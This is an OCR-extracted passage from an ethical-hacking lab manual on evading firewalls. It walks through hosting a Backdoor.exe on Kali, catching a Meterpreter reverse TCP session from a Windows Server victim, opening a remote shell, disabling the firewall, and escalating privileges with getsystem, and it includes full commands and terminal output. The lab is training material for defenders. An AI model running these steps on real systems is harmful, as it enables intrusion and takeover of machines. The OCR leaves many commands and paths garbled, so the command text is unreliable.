14. Change the mode of the share folder to 755 by typing the command
chmod -R 755 /variwww/html/share/ and pressing Enter.

15. Change the ownership of that folder to www-data by typing chown -R
www-data:www-data /var/www/htmli/share and pressing Enter.
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m To change the mode of
share folder use the following
command chmod -R*
fvar/www/html/ share/.

"~7To run the
apache web
server use the
following
command:
cpl/root.msfd/data/
exploits/*
Narwww/share/

8] The exploit will be
saved on

[mot/ msf4/data/exploits/
folder.,

Module 12 - E

ding IDS, F lis, and Honeypot

16. Type Is -la Ivar/www/html/ | grep share and press Enter.

root@Kkali: ~ (-]
Help
/var/www/html/share
chmod -R 755 /var/www/html/share/
chown -R www-data:www-data /var/www/html/share
1s -la /var/www/html/ | grep share
4096 Nov 8 01:51

File Edit View Search Terminal
: mkdir

share

www-data www-data

FIGURE 6.8: Sharing the Backdoor.exe file

17. Start the apache server: Type service apache2 start in Terminal
window and press Enter.

root@kali: ~ (%]

e e

File Edit View Search Terminal

mkdir
# chmod
chown

Help

/var/www/html/share

-R 755 /var/www/html/share/

-R www-data:www-data /var/www/html/share

grep share

www-data www-data 4096 Nov 8 01:51 share
rvice apache2 start

ls -la /var/www/html/ |

FIGURE 6.9: Starting Apache webserver

18. The apache web server is now running; copy Backdoor.exe into the
share folder.

19. Type cp Iroot/Desktop/Backdoor.exe /variwww/html/share/ in the
terminal and press Enter.

root@kali: ~

File Edit View Search Terminal Help
mkdir /var/www/html/share
chmod -R 755 /var/www/html/share/
chown -R www-data:www-data /var/www/html/share
1s -la /var/www/html/ grep share
www-data www-data 4096 Nov 8 01:51 share
service apache2 start
cp /root/Desktop/Backdoor.exe /var/www/html/share/

FIGURE 6.10: Copying Backdoor.exe file into share folder
20. Launch msfconsole.

21. Type use exploit/multi/handler and press Enter to handle exploits
launched outside the framework.

root@kali: ~ (- IORN <}

File Edit View Search Terminal Help
n1sf > use exploit/multi/handler > |
nsf exploit( ) >

FIGURE 6.11: Using multi/handler exploit
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22. Issue the following commands in msfconsole:

a) Type set payload windows/meterpreter/reverse tcp and press
Enter.

b) Type set LHOST 10.10.10.11 and press Enter.

c) Type show options and press Enter to display all the options
assigned to the payload.

23. IP address entered in LHOST refers to the attacker machine (i.e., Kali
Linux) and it might vary in your lab environment.

root@kali: ~ (- IC I - )

File Edit View Search Terminal Help
use exploit/multi/handler
exploit( ) et payload windows/meterpreter/reverse tcp
yload => windows/meterpreter/reverse tcp
nsf exploit( et LHOST 10.10.10.11
_HOST 10.10.10.11
nsf exploit( ) >ishow options

lodule options (exploit/multi/handler):

Payload options (windows/meterpreter/reverse tcp):

Name Current Set Required
EXITFUNC proce 3, seh;
QJ "T'o set reverse T'CP use 13 PIOCESS NONE)
> 5 S LHOST 10.10.10.11 The listen address
the following command set LPORT 4444 The listen port
payload

windows/ meterpreter/ revers T . b
etep. FIGURE 6.12: Setup the reverse TCP
24. To start the handler, type exploit -j -z and press Enter.

root@kali: ~ (- J(C) 01

File Edit View Search Terminal Help

Payload options (windows/meterpreter/reverse tcp):
Name Current Setting Required PDescription
EXITFUNC process yes ique (Accepted:
process, none)

LHOST 16.10.10.11 s The listen address
LPORT 4444 13 The listen port

«ploit target:

Id Name

(<] Wildcard Target
nsf exploit( ) > exploit -j -2z
Exploit running as background job ©.

| Started reverse TCP handler on 10.10.10.11:4444
st exploit( ) >

FIGURE 6.13: Exploit the windows machine
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25. Switch back to the Windows Server 2012 virtual machine. Observe that
the Firewall is ON.

Action View Help

 [@ |m=E

Wirdoms Firewsll wth Advanc [ P P S——

£ inbourd Rl
& Ounbound Rules ‘ - -
B Cunnuction Secueny Rulis 4l Import Poicy..
4 5, Monoring 4 bpeaPoley.

Overvicw < Restore Defautt Polizy
Domain Profila is Active Dagnose / Repar

@ Wodows Frewsl aon. View >
e I (@ Refresh

Privata Profile B Fmeie

v
7N

@ Wodws Fewal s ol - B tee

@ oxon:

Public Profile.

@ Wodiw Fumad n o

o

@ omon:

B Wrdowe Frmwsd Propense

Cetting Started -

ications between

a nd s oot &
ety e i oy )

FIGURE 6.14: Firewall Turned ON in Windows Server 2012

26. Launch Mozilla Firefox (or other web browser), and type
http/10.10.10.11/share/ in the address field. Then press Enter.

Note: Here, 10.10.10.11 is the IP addtess of Kali Linux, which may differ
in your lab environment.

27. Click Backdoor.exe to download the backdoor file.

Index of /share

(€ (@ 10.10.00.11/sh0re/

Index of /share

Name Last modified Size Description

& Parent Directory -

2017-11-08 01:56 72K

Apache/2.4.27 (Debian) Server ar 10.10.10.11 Port 80

FIGURE 6.15: Downloading the Backdoor.exe file
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with the available
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Module 12 - Evading IDS, Firewalls, and Honeypots

28. The Opening Backdoor.exe pop-up appears; click Save File.

Opening Backdoor.exe -

You have chosen to open:

" ' Backdoor.exe
which is: Binary File (72.1 KB)
from: http://10.10.10.11

Would you like to save this file?

| Save File H Cancel

FIGURE 6.16: Saving the Backdooe.exe fik

29. Close the browser.
30. By default, this file is stored in C:\Users\Administrator\Downloads.
Note: The download location might vary in your lab environment.

31. Navigate to the download location (here,
C:\Users\Administrator\Downloads), and double-click Backdoor.exe.

32. If the Open File - Security Warning appears, click Run.
33. Close the Downloads window.

34, Switch back to the Kali Linux machine. The Meterpreter session has been
successfully opened, as shown in the screenshot:

File Edit View Search Terminal Help

root@kali: ~ e 0 01

Name Current Setting Required Description

Exit technique (Accepted: '', seh, threa

1, process, none)

LHOST 10.10.106.11 2S The listen address
LPORT 4444 25 The listen port

cxploit target:

Id Name

2] Wildcard Target

exploit( ) > exploit -j -z

] Exploit running as background job 0.

| Started reverse TCP handler on 10.10.10.11:4444

xploit( ) > [*] Sending stage (17 7 bytes) to 10.10.10.12
Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.1 6349) a
-08 02:06:01 -0500

FIGURE 6.17: Meterpreter session opened suceessfully
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35. Type sessions -i and press Enter to view the active sessions.

root@kali: ~ e e 0
File Edit View Search Terminal Help

Id Name

(] Wildcard Target

nsf exploit( ) > exploit -j -z
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444
st exploitl ) > [*] Sending stage (179267 bytes) to 10.10.10.12
] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.12:56349) at 2017
11-68 02:06:01 -0500
sessions -1

Active sessions

Information Connection

meterpreter x86/windows CEH\Administrator @ WIN-0JAQ7QJ8PAI 10.10.10.11:
4 -> 10.10.10.12:56349 (10.10.10.12)

1sf exploit( ) >
FIGURE 6.18: Creating the session
36. Type sessions -i 1 command and press Enter. (“1” in “sessions -i 17 is

the session id number). The Meterpreter shell is launched, as shown in
the screenshot:

root@kali: ~ e ® O
File Edit View Search Terminal Help
0 wildcard Target

exploit( > exploit -j -z
Exploit running as background job ©.

Started reverse TCP handler on 10.10.10.11:4444

exploit( ) [*] Sending stage (179267 bytes) to 10.10.10.12
*] Meterpreter session 1 opened (16.10.10.11:4444 -> 10.10.10.12:56349) at 2017
11-68 02:06:01 -0500

Information Connection
meterpreter x86/windows CEH\Administrator @ WIN-O0JAQ7QJ8PAI 10.10.10.11:
1444 -> 10.10.10.12:56349 (10.10.10.12)

1sf exploit( ) > sessions -i 1
Starting interaction with 1...

eterpreter > i

FIGURE 6.19: Creating the session
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37. Type execute -f cmd.exe -c -H and press Enter. This creates a channel

_ B Tasks using which you can access the command shell of the victim machine.

Launch Remote

kol 38. Note the Channel number (here, 1).

root@kali: ~ (- IO ]

File Edit View Search Terminal Help

) > exploit -j -z
xploit running as background job 6.

Started reverse TCP handler on 10.10.10.11:4444

exploit( ) *] Sending stage (179267 bytes) to 10.10.10.12

Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.12:56349) at 2017
06:01 -0500

Id Type Information Connection

1 meterpreter x86/windows CEH\Administrator @ WIN-0JAQ7QJ8PAI 10.10.160.11:
1444 -> 10.10.10.12:56349 (10.10.10.12)

msf exploit( ) > sessions -1 1

] Starting interaction with 1...

meterpreter > execute -f cmd.exe -c -H
rocess 3740 created.

Channel (1 created.

neterprete

FIGURE 6.20: Executing command prompt

39. Type shell and press Enter.

40. This allows you to interact with the command shell of the victim machine.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

Active sessions

Id Type Information Connection

1 meterpreter x86/windows CEH\Administrator @ WIN-0JAQ7QJ8PAI 160.10.10.11:
1444 -> 10.10.10.12:56349 (10.10.10.12)

1sf exploit( ) > sessions -i 1
*] Starting interaction with 1...

neterpreter > execute -f cmd.exe -c -H
Process 3740 created.
hannel 1 created.
ieterpreter > interact 1
Unknown command: interact.
ieterpreter > shell
Process 2168 created.
Channel 2 created.
licrosoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

Users\Administrator) UGELE

FIGURE 6.21: Interacting with a process
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41. Type netsh firewall show opmode and press Enter. This displays the
status of the firewall on the victim machine.

42. Observe that all the firewall configurations are enabled.
| root@kali: ~ e 06 0‘1

H rtasks

Disable Windows
Firewall

File Edit View Search Terminal Help

:\Use Administrator\Downloads>netsh firewall show opmode
ietsh firewall show opmode

Jomain profile configuration (current):

)perational mod Enable
Exception mode

andard profil
operational mode Enable
xception mode Enable

IMPORTANT: Command executed successfully.

fowever, “ne firewall" is deprecated;
e "netsh advfirewall firewall® instead.

or more information on using "netsh advfirewall firewall" commands
tead of "netsh firewall®, e KB article 947709

3t http://go.microsoft.com/fwlink/?linkid=121488 .

:\Users\Administrator\Downl oar‘.crl
FIGURE 6.22: Testing the Firewall mode

43. Type netsh advfirewall set allprofiles state off and press Enter. This
turns off firewall state for all the profiles on the victim machine.

44. 1f the firewall is successfully disabled, it returns the message OK.

root@kali: ~ e ® 0
File Edit View Search Terminal Help

Operational mode Enable
Exception mode Enable

ndard profile configuratio

Operational mode Enable
Exception mode Enable

IMPORTA Command executed successfully.

However, "netsh firewall" is deprecated;

use "netsh advfirewall firewall" instead.

For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall®, see KB article 947709

at http://go.microsoft.com/fwlink/?1linkid=121488

Users\Administrator\Downloads=netsh advfirewall set allprofiles state off
sh advfirewall set allprofiles state off

FIGURE 6.23: Disabling the Firewall Remotely
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45. Thus, you have successfully launched meterpreter shell and disabled the
firewall on the target machine.

46. Now, switch back to the Windows Server 2012 and view the firewall
profiles in Windows Firewall with Advanced Settings control panel.

Fle Acion View Help

= @ B
" EET EE T B PRI Viioscdows Fiecowadl with Advancet Secosity un Local Computer Acticns
&2 Inbound Rules e

Windows Firevall wit. =

Cutbiound Rudes
s SRIE ﬂ N L R o p—— & gt Piky:.
» B, Manitoning & ExpotPolicy...
Overview 22 Aastore Defett Pehzy

Damain Profila i Activa Disgreze / Regaic

@ Vintows Frvalb o,

View ’
Pavate Probla o Refresh
B Viodows Frewsl i o {5] Properties
Public Profile H Hep
@ Virvioms Frmeed o
=
=k bl repertes

Getting Started a
i between

Crist cormucdion sty rbis [0 specdy how ard wha conedios Swosn corgulies e st wrored wd
provactas by Leng kame Protocal escurty (Frac)

B Comecien Sacirty i
View and create firewall niles

Chuc e woochud prgwis o oty You
115 2uther T sar. g0up. or computer By defws
bicudios Lok 2 Sutbinsd o o e

FIGURE 6.24: Viewing Windows Advanced Firewall

47. It is observed that the firewall in all the profiles has been successfully
turned off as show in the above screenshot.

48. Switch back to Kali Linux, type exit in the command-line terminal, and
press Enter.

49. You will come back to the meterpreter shell, as shown in the screenshot:

root@Kkali: ~ e ® 0
File Edit View Search Terminal Help
:\Users\Admi str r\Downloa >tsh advfirewall set allprofiles state off

ietsh advfirewall set allprofiles state off
k.

:\Users\Administr \Downloads

rpreter > l

FIGURE 6.25: Exiting the Command Prompt Shell
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50. Type getsystem and press Enter. Doing this might help in gaining
system-level privileges remotely.

Note: This command works only on Server machines such as Windows
Server 2012 and 2016.

root@kali: ~ ® 0

File Edit View Search Terminal Help
Exploit ning as background job ©.

Started reverse TCP handler on 10.10.10.11:4444
nsf exploit( ) > [*] Sending stage (179267 bytes) to 10.10.10.12
Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.12:1178) at 2017-
12-29 08:19:17 -8500
sessions -i

Id Name Type Information
tion

meterpreter x86/windows CEH\Administrator @ WIN-0JAQ7QJ8PAI 10.10.
10.11:4444 -> 10.10.10.12:1178 (10.10.10.12)

nsf exploit( ) > sessions -i 1

Starting interaction with 1...

neterpreter > getsystem
..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

nete reter >

FIGURE 6.26: Escahting Privileges

51. Type ps and press Enter. This lists all the processes running on the victim
machine.

File Edit View Secarch

Toot@Hall ~ ) 0‘]

Terminal  Help

Arch User

CEH\Admini
lackdoar .,

NT AUTHORI

NT AUTHORI
NT AUTHORITY

FIGURE 6.27: Listing the processes

52. You may issue help command to view the other post exploitation
commands.
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Lab Analysis
Analyze and document the results related to this lab exetcise. Provide your opinion
of your target’s security posture and exposure through public and free information.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Intemnet Connection Required

O Yes No
Platform Supported
Classroom iLabs
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